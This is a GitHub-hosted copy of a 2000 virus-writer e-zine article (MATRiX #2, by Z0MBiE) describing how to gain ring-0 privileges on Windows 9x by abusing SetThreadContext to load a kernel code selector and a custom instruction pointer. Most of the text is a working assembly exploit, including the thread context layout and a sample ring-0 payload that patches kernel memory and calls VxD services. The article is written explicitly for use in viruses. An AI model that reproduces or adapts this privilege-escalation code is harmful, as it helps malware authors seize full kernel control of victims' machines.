-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathcontext.txt
162 lines (124 loc) · 5.82 KB
/
context.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
Entering Ring-0 Using Win32 Api: Context Modification
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xlated from russian for MATRiX #2 E-Zine
(x) 2000 Z0MBiE
When an operating system called "mustdie", this means at least something.
So, here it is - unknown, shocking method of entering ring-0 under win9X.
Patch of the system tables? Loading viral VxD? Bug in the system code?
Exploit? Perverted calls via kernel? - NO!
Just a standard, well-documented Win32 Api.
Idea is to call SetThreadContext function.
This function sets all the registers of the given thread.
Main feature (which and makes possible to enter ring-0) is that
code, that applies modified registers (in contrast to winNT/2000)
doesn't performs enough check of segment register values, so...
So, we're changing context.CS to 28h (ring0 selector), and context.EIP to
offset of our ring0 subroutine.
Now, more detailed.
At first step we need to get handle of the thread in whose context we
wanna to enter ring-0. Let it be current thread. So, we need to call
GetCurrentThread.
After that, we need to get context of that thread, i.e. to fill the
context structure with current register values.
This may be done by means of GetThreadContext.
But, before calling context-related functions, we need to organize context
structure. It is of 204 bytes length (0xCC) bytes, and, (this is important!)
first DWORD of this structure must be -1.
Using this DWORD as a bitset, context-managing functions will work with
selected registers.
Here is a complete context structure:
thread_context_structure:
c_contextflags dd -1
c_dr0 dd ?
c_dr1 dd ?
c_dr2 dd ?
c_dr3 dd ?
c_dr6 dd ?
c_dr7 dd ?
c_fpu_controlword dd ?
c_fpu_statusword dd ?
c_fpu_tagword dd ?
c_fpu_erroroffset dd ?
c_fpu_errorselector dd ?
c_fpu_dataoffset dd ?
c_fpu_dataselector dd ?
c_fpu_registerarea db 80 dup (?)
c_fpu_cr0npxstate dd ?
c_gs dd ?
c_fs dd ?
c_es dd ?
c_ds dd ?
c_edi dd ?
c_esi dd ?
c_ebx dd ?
c_edx dd ?
c_ecx dd ?
c_eax dd ?
c_ebp dd ?
c_eip dd ?
c_cs dd ?
c_eflags dd ?
c_esp dd ?
c_ss dd ?
After we've filled context structure with all the shit
(via GetThreadContext) we must:
(1) save old CS and EIP for the future restoration, and
(2) change current CS and EIP.
After such harmful action, we're calling SetThreadContext function.
And at this moment happens glorious event we was waiting for.
Now, one more detailed.
Ring3 subroutine SetThreadContext passes control to the ring0 code.
This ring0 code changes all the registers selected by contextflags (-1),
including CS:EIP, and performs IRET.
But, on IRET control returns not back to kernel's SetThreadContext, but
to our CS:EIP, because these CS:EIP were just changed by ring0 code.
I need to say here, that if you will only set CS=28h leaving EIP unchanged,
control will return to kernel, but in ring0 mode. But kernel will anyway
use ring3 DS/ES/FS selectors, and it will fuckup system.
Well, if you understood nothing, anyway,
here is an example of entering ring0:
callring0: pusha
enter 0C8h,0 ; context structure
push -1 ; contextflags = -1
call GetCurrentThread
xchg ebx, eax ; EBX = thread handle
push esp ; ESP = context structure
push ebx ; EBX = thread handle
call GetThreadContext
push 28h ; save_cs = context.cs
pop eax ; context.cs = 28h
xchg eax, [esp+0BCh]
mov save_cs, eax
lea eax, ring0code_caller
xchg eax, [esp+0B8h] ; save_eip = ctx.eip,
mov save_eip, eax ; ctx.eip = @ring0code_caller
push esp ; ESP = context structure
push ebx ; EBX = thread handle
call SetThreadContext; call ring0
; back from ring-0
pop eax
leave
popa
ret ; callring0
ring0code_caller: mov ss:save_esp, esp
lea esp, end_of_my_stack
pushf
pusha
push ds es
push ss ss ; initialize DS/ES selectors
pop ds es ; with 30h
call ring0
pop es ds
popa
popf
mov esp, ss:save_esp
pushf
push ss:save_cs
push ss:save_eip
iret ; return to kernel
; this is YOUR ring-0 subroutine
ring0: not dword ptr ds:[0BFF70000h]
VxDcall VXDLDR, GetDeviceList
...
ret
Thats all!